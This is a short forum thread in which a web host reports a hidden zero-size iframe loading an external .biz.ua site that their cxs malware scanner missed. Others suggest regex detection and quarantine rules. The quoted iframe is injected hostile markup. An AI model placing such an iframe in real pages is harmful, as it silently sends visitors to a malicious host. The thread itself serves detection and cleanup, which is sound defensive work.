Page 1 of 1

Hidden iframes

Posted: 13 May 2013, 17:54
by bendix
Hi,

Can you please add hidden iframes on "Regular expression match"?

I found this:

Code: Select all

<iframe src="http://boogyman.biz.ua/?1" width="0" height="0" frameborder="0"></iframe>
and was not detected in any way by cxs.

Thank you.

Re: Hidden iframes

Posted: 13 May 2013, 19:30
by Sergio
I would add the following command to my CXS.XTRA file:

Code: Select all

regall=boogyman\.
and that will quarantine any file that contains that word.

Sergio

Re: Hidden iframes

Posted: 14 May 2013, 13:33
by peterelsner
Sergio,

Don't you also have to put the word quarantine in the file to force the quarantine?

regll:quarantine:boogyman\.

Re: Hidden iframes

Posted: 14 May 2013, 14:03
by Sergio
Peter:
you are right, you can write the command as you say.

But in my CXS configuration I have set that everything that is contained in my CXS.XTRA file is quarantined, so, I don't use the :quarantine: prefix, I have been using -qoptions=mMfSGchexv where "m = regex pattern match" instead.